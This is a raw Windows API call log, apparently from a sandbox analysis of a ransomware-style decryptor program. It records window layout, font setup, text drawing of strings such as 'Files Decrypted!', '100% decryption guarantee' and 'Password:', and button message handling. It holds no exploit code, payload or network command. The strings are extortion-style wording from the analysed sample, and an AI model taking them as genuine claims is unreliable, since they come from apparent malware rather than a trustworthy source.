AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.730] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.730] AdjustWindowRectEx (in: lpRect=0x19e418, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e418) returned 1 [0158.730] GetSystemMetrics (nIndex=59) returned 1460 [0158.730] GetSystemMetrics (nIndex=60) returned 920 [0158.730] GetSystemMetrics (nIndex=34) returned 136 [0158.730] GetSystemMetrics (nIndex=35) returned 39 [0158.731] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.731] AdjustWindowRectEx (in: lpRect=0x19e318, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e318) returned 1 [0158.731] GetCurrentThreadId () returned 0x390 [0158.731] GetCurrentThreadId () returned 0x390 [0158.731] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.731] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0158.731] SelectObject (hdc=0x8e0106dd, h=0x210a0725) returned 0x110a0722 [0158.731] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Files Decrypted!", cchText=16, lprc=0x19e200, format=0x2400, lpdtp=0x302e1e4 | out: lpchText="Files Decrypted!", lprc=0x19e200) returned 39 [0158.731] GetCurrentThreadId () returned 0x390 [0158.731] GetCurrentThreadId () returned 0x390 [0158.732] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.732] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0158.732] DrawTextExW (in: hdc=0x8e0106dd, lpchText="No files decrypted!", cchText=19, lprc=0x19e200, format=0x2400, lpdtp=0x302e324 | out: lpchText="No files decrypted!", lprc=0x19e200) returned 39 [0158.733] GetCurrentThreadId () returned 0x390 [0158.733] GetCurrentThreadId () returned 0x390 [0158.733] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.733] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0158.733] SelectObject (hdc=0x8e0106dd, h=0xa0a0724) returned 0x210a0725 [0158.733] DrawTextExW (in: hdc=0x8e0106dd, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e200, format=0x2400, lpdtp=0x302e47c | out: lpchText="100% decryption guarantee", lprc=0x19e200) returned 32 [0158.733] GetCurrentThreadId () returned 0x390 [0158.733] GetCurrentThreadId () returned 0x390 [0158.733] GetCurrentThreadId () returned 0x390 [0158.733] GetCurrentThreadId () returned 0x390 [0158.733] GetCurrentThreadId () returned 0x390 [0158.733] GetCurrentThreadId () returned 0x390 [0158.733] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.734] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0158.734] SelectObject (hdc=0x8e0106dd, h=0xb0a0728) returned 0xa0a0724 [0158.734] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Processing...", cchText=13, lprc=0x19e200, format=0x2405, lpdtp=0x302e740 | out: lpchText="Processing...", lprc=0x19e200) returned 24 [0158.736] GetCurrentThreadId () returned 0x390 [0158.736] GetCurrentThreadId () returned 0x390 [0158.736] GetCurrentThreadId () returned 0x390 [0158.736] GetCurrentThreadId () returned 0x390 [0158.736] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.736] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0158.736] SelectObject (hdc=0x8e0106dd, h=0x240a0712) returned 0xb0a0728 [0158.736] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Password:", cchText=9, lprc=0x19e200, format=0x2400, lpdtp=0x302e974 | out: lpchText="Password:", lprc=0x19e200) returned 63 [0158.737] GetCurrentThreadId () returned 0x390 [0158.737] GetCurrentThreadId () returned 0x390 [0158.737] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0158.737] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=1, unit=0x3, font=0x302ec48) returned 0x0 [0158.737] GdipGetFontSize (font=0x69119b0, size=0x302ec4c) returned 0x0 [0158.737] CreateCompatibleDC (hdc=0x0) returned 0x2a01019f [0158.737] GetDC (hWnd=0x0) returned 0x60100ce [0158.737] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e22c) returned 0x0 [0158.737] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0158.737] GdipGetLogFontW (font=0x69119b0, graphics=0x691c4c0, logfontW=0xeeb228) returned 0x0 [0158.738] CoTaskMemFree (pv=0xeeb228) [0158.738] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0158.738] CoTaskMemFree (pv=0xeeac10) [0158.738] CoTaskMemAlloc (cb=0x5c) returned 0xeeb1c0 [0158.738] CoTaskMemFree (pv=0xeeb1c0) [0158.738] GdipDeleteGraphics (graphics=0x691c4c0) returned 0x0 [0158.738] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0158.738] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0158.738] CreateFontIndirectW (lplf=0xeeb228) returned 0x4d0a0719 [0158.738] CoTaskMemFree (pv=0xeeb228) [0158.738] SelectObject (hdc=0x2a01019f, h=0x4d0a0719) returned 0x8a01c2 [0158.738] GetTextMetricsW (in: hdc=0x2a01019f, lptm=0x19e328 | out: lptm=0x19e328) returned 1 [0158.738] GetTextExtentPoint32W (in: hdc=0x2a01019f, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x302f194 | out: psizl=0x302f194) returned 1 [0158.739] SelectObject (hdc=0x2a01019f, h=0x8a01c2) returned 0x4d0a0719 [0158.739] DeleteDC (hdc=0x2a01019f) returned 1 [0158.739] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.739] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0158.739] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.739] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0158.740] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.740] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0158.740] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.740] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0158.740] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.740] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0158.740] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.740] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0158.741] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.741] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0158.741] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.741] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0158.741] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.741] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0158.741] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.742] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0158.742] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.742] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0158.742] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.742] AdjustWindowRectEx (in: lpRect=0x19e288, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e288) returned 1 [0158.742] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.742] AdjustWindowRectEx (in: lpRect=0x19e0ec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0ec) returned 1 [0158.742] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.743] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0158.743] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.743] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0158.743] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.743] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0158.743] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.743] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0158.743] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.744] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0158.744] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.744] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0158.744] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.744] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0158.744] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.744] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0158.744] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.745] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0158.745] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.745] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0158.745] DeleteObject (ho=0x4d0a0719) returned 1 [0158.745] GetDC (hWnd=0x0) returned 0x60100ce [0158.745] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e2e0) returned 0x0 [0158.745] GdipGetFontHeight (font=0x69119b0, graphics=0x691c4c0, height=0x19e2d8) returned 0x0 [0158.745] GdipDeleteGraphics (graphics=0x691c4c0) returned 0x0 [0158.745] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0158.746] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.746] AdjustWindowRectEx (in: lpRect=0x19e2c0, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2c0) returned 1 [0158.746] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.746] AdjustWindowRectEx (in: lpRect=0x19e330, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e330) returned 1 [0158.746] AdjustWindowRectEx (in: lpRect=0x19e3fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e3fc) returned 1 [0158.746] GetSystemMetrics (nIndex=59) returned 1460 [0158.746] GetSystemMetrics (nIndex=60) returned 920 [0158.746] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.746] AdjustWindowRectEx (in: lpRect=0x19e234, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e234) returned 1 [0158.746] AdjustWindowRectEx (in: lpRect=0x19e2fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2fc) returned 1 [0158.746] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.747] AdjustWindowRectEx (in: lpRect=0x19e0b8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e0b8) returned 1 [0158.747] AdjustWindowRectEx (in: lpRect=0x19e2dc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2dc) returned 1 [0158.747] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.747] AdjustWindowRectEx (in: lpRect=0x19e030, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e030) returned 1 [0158.747] AdjustWindowRectEx (in: lpRect=0x19e114, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e114) returned 1 [0158.747] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.747] AdjustWindowRectEx (in: lpRect=0x19e2d4, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2d4) returned 1 [0158.747] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.747] AdjustWindowRectEx (in: lpRect=0x19e138, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e138) returned 1 [0158.748] CoTaskMemAlloc (cb=0xe) returned 0xf6d688 [0158.749] CoTaskMemAlloc (cb=0xb5) returned 0xf58a98 [0158.801] CoTaskMemAlloc (cb=0x12) returned 0xf771c8 [0158.804] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de8c | out: lpRect=0x19de8c) returned 1 [0158.804] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0158.804] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0158.804] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0158.804] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0158.804] SaveDC (hdc=0x1b010670) returned 1 [0158.804] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0158.804] CreateSolidBrush (color=0x323533) returned 0xd10073a [0158.804] FillRect (hDC=0x1b010670, lprc=0x19dd2c, hbr=0xd10073a) returned 1 [0158.804] DeleteObject (ho=0xd10073a) returned 1 [0158.804] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0158.804] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0158.804] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.804] GetSystemMetrics (nIndex=42) returned 0 [0158.804] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de04, nMaxCount=1 | out: lpString="") returned 0 [0158.804] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de04) returned 0x0 [0158.804] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de2c | out: lpRect=0x19de2c) returned 1 [0158.804] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0158.805] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0158.805] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0158.805] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0158.805] SaveDC (hdc=0x1b010670) returned 1 [0158.805] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0158.805] CreateSolidBrush (color=0x323533) returned 0xe10073a [0158.805] FillRect (hDC=0x1b010670, lprc=0x19dccc, hbr=0xe10073a) returned 1 [0158.805] DeleteObject (ho=0xe10073a) returned 1 [0158.805] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0158.805] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0158.805] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.805] GetSystemMetrics (nIndex=42) returned 0 [0158.805] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de04, nMaxCount=1 | out: lpString="") returned 0 [0158.805] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de04) returned 0x0 [0158.807] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0158.807] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0158.807] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0158.807] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x47, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0158.807] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0158.807] GetWindowRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0158.807] GetParent (hWnd=0x10248) returned 0x8004e [0158.807] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e5a4, cPoints=0x2 | out: lpPoints=0x19e5a4) returned -16187697 [0158.807] GetParent (hWnd=0x10248) returned 0x8004e [0158.807] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0158.807] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.808] GetSystemMetrics (nIndex=42) returned 0 [0158.808] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e808, nMaxCount=1 | out: lpString="") returned 0 [0158.808] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e808) returned 0x0 [0158.808] GetWindowTextLengthW (hWnd=0x30212) returned 15 [0158.808] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xf [0158.808] GetSystemMetrics (nIndex=42) returned 0 [0158.808] GetWindowTextW (in: hWnd=0x30212, lpString=0x19e8f8, nMaxCount=16 | out: lpString="Close Decryptor") returned 15 [0158.808] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xd, wParam=0x10, lParam=0x19e8f8) returned 0xf [0158.808] SetWindowTextW (hWnd=0x30212, lpString="Open Decryptor") returned 1 [0158.808] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc, wParam=0x0, lParam=0x30300f0) returned 0x1 [0158.808] GetStockObject (i=5) returned 0x900015 [0158.808] GetStockObject (i=5) returned 0x900015 [0158.808] GetDlgItem (hDlg=0x8004e, nIDDlgItem=197138) returned 0x30212 [0158.808] SendMessageW (hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0158.808] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0158.808] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0158.808] GetCapture () returned 0x30212 [0158.808] ReleaseCapture () returned 1 [0158.808] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0158.809] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.809] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x2710174) returned 0x1 [0158.809] IsWindowUnicode (hWnd=0x30212) returned 1 [0158.809] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.809] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x2710174) returned 0x1 [0158.809] SetCursor (hCursor=0x10003) returned 0x10003 [0158.809] TranslateMessage (lpMsg=0x19ee78) returned 0 [0158.809] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0158.809] GetKeyState (nVirtKey=1) returned 0 [0158.809] GetKeyState (nVirtKey=2) returned 0 [0158.809] GetKeyState (nVirtKey=4) returned 0 [0158.809] GetKeyState (nVirtKey=5) returned 0 [0158.809] GetKeyState (nVirtKey=6) returned 0 [0158.809] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.809] IsWindowUnicode (hWnd=0x90016) returned 1 [0158.809] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.810] TranslateMessage (lpMsg=0x19ee78) returned 0 [0158.810] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0158.810] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0158.810] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0158.810] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0158.810] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0158.810] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0158.812] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.812] IsWindowUnicode (hWnd=0x30212) returned 1 [0158.812] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.812] TranslateMessage (lpMsg=0x19ee78) returned 0 [0158.812] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0158.812] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1b010670 [0158.812] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0158.812] CreateCompatibleDC (hdc=0x1b010670) returned 0x2f01019f [0158.812] SelectObject (hdc=0x2f01019f, h=0x8050721) returned 0x85000f [0158.812] GdipCreateFromHDC (hdc=0x2f01019f, graphics=0x19e8d8) returned 0x0 [0158.813] GdipTranslateWorldTransform (graphics=0x691c530, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0158.813] GdipSetClipRectI (graphics=0x691c530, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0158.813] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0158.813] GdipGetWorldTransform (graphics=0x691c530, matrix=0x691edb8) returned 0x0 [0158.813] GdipIsMatrixIdentity (matrix=0x691edb8, result=0x19e938) returned 0x0 [0158.813] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0158.813] GdipGetMatrixElements (matrix=0x691edb8, matrixOut=0xf75be8) returned 0x0 [0158.813] LocalFree (hMem=0xf75be8) returned 0x0 [0158.813] GdipDeleteMatrix (matrix=0x691edb8) returned 0x0 [0158.813] GdipCreateRegion (region=0x19e920) returned 0x0 [0158.813] GdipGetClip (graphics=0x691c530, region=0x691c810) returned 0x0 [0158.813] GdipIsInfiniteRegion (region=0x691c810, graphics=0x691c530, result=0x19e92c) returned 0x0 [0158.813] GdipSaveGraphics (graphics=0x691c530, state=0x19e958) returned 0x0 [0158.813] GdipRestoreGraphics (graphics=0x691c530, state=0xfd580dbd) returned 0x0 [0158.813] GdipDeleteRegion (region=0x691c810) returned 0x0 [0158.813] GdipGetDC (graphics=0x691c530, hdc=0x19e708) returned 0x0 [0158.813] GetCurrentObject (hdc=0x2f01019f, type=0x1) returned 0xb00017 [0158.813] GetCurrentObject (hdc=0x2f01019f, type=0x2) returned 0x900010 [0158.813] GetCurrentObject (hdc=0x2f01019f, type=0x7) returned 0x8050721 [0158.813] GetCurrentObject (hdc=0x2f01019f, type=0x6) returned 0x8a01c2 [0158.813] SaveDC (hdc=0x2f01019f) returned 1 [0158.813] GetNearestColor (hdc=0x2f01019f, color=0x323533) returned 0x323533 [0158.813] GetNearestColor (hdc=0x2f01019f, color=0x111111) returned 0x111111 [0158.813] GetNearestColor (hdc=0x2f01019f, color=0x0) returned 0x0 [0158.813] GetNearestColor (hdc=0x2f01019f, color=0x868c88) returned 0x868c88 [0158.814] GetNearestColor (hdc=0x2f01019f, color=0x6994f5) returned 0x6994f5 [0158.814] GetNearestColor (hdc=0x2f01019f, color=0x969c98) returned 0x969c98 [0158.814] GetNearestColor (hdc=0x2f01019f, color=0x868c88) returned 0x868c88 [0158.814] GetNearestColor (hdc=0x2f01019f, color=0x3c3f3d) returned 0x3c3f3d [0158.814] GetNearestColor (hdc=0x2f01019f, color=0x6994f5) returned 0x6994f5 [0158.814] RestoreDC (hdc=0x2f01019f, nSavedDC=-1) returned 1 [0158.814] GdipReleaseDC (graphics=0x691c530, hdc=0x2f01019f) returned 0x0 [0158.814] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x240a0712 [0158.814] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e5c4, format=0x102415, lpdtp=0x30306ac | out: lpchText="Open Decryptor", lprc=0x19e5c4) returned 60 [0158.814] GdipCreateRegion (region=0x19e64c) returned 0x0 [0158.814] GdipGetClip (graphics=0x691c530, region=0x691c810) returned 0x0 [0158.814] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0158.814] GdipGetWorldTransform (graphics=0x691c530, matrix=0x6915f08) returned 0x0 [0158.814] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e664) returned 0x0 [0158.814] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0158.814] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0158.814] LocalFree (hMem=0xf75c20) returned 0x0 [0158.815] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0158.815] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0158.815] LocalFree (hMem=0xf75bb0) returned 0x0 [0158.815] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0158.815] GdipIsInfiniteRegion (region=0x691c810, graphics=0x691c530, result=0x19e68c) returned 0x0 [0158.815] GdipIsInfiniteRegion (region=0x691c810, graphics=0x691c530, result=0x19e67c) returned 0x0 [0158.815] GdipGetRegionHRgn (region=0x691c810, graphics=0x691c530, hRgn=0x19e67c) returned 0x0 [0158.815] GdipDeleteRegion (region=0x691c810) returned 0x0 [0158.815] GdipGetDC (graphics=0x691c530, hdc=0x19e694) returned 0x0 [0158.815] GetCurrentObject (hdc=0x2f01019f, type=0x1) returned 0xb00017 [0158.815] GetCurrentObject (hdc=0x2f01019f, type=0x2) returned 0x900010 [0158.815] GetCurrentObject (hdc=0x2f01019f, type=0x7) returned 0x8050721 [0158.815] GetCurrentObject (hdc=0x2f01019f, type=0x6) returned 0x8a01c2 [0158.815] SaveDC (hdc=0x2f01019f) returned 1 [0158.815] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xcc0406fe [0158.815] GetClipRgn (hdc=0x2f01019f, hrgn=0xcc0406fe) returned 0 [0158.815] SelectClipRgn (hdc=0x2f01019f, hrgn=0x660406f7) returned 2 [0158.815] DeleteObject (ho=0xcc0406fe) returned 1 [0158.815] DeleteObject (ho=0x660406f7) returned 1 [0158.815] 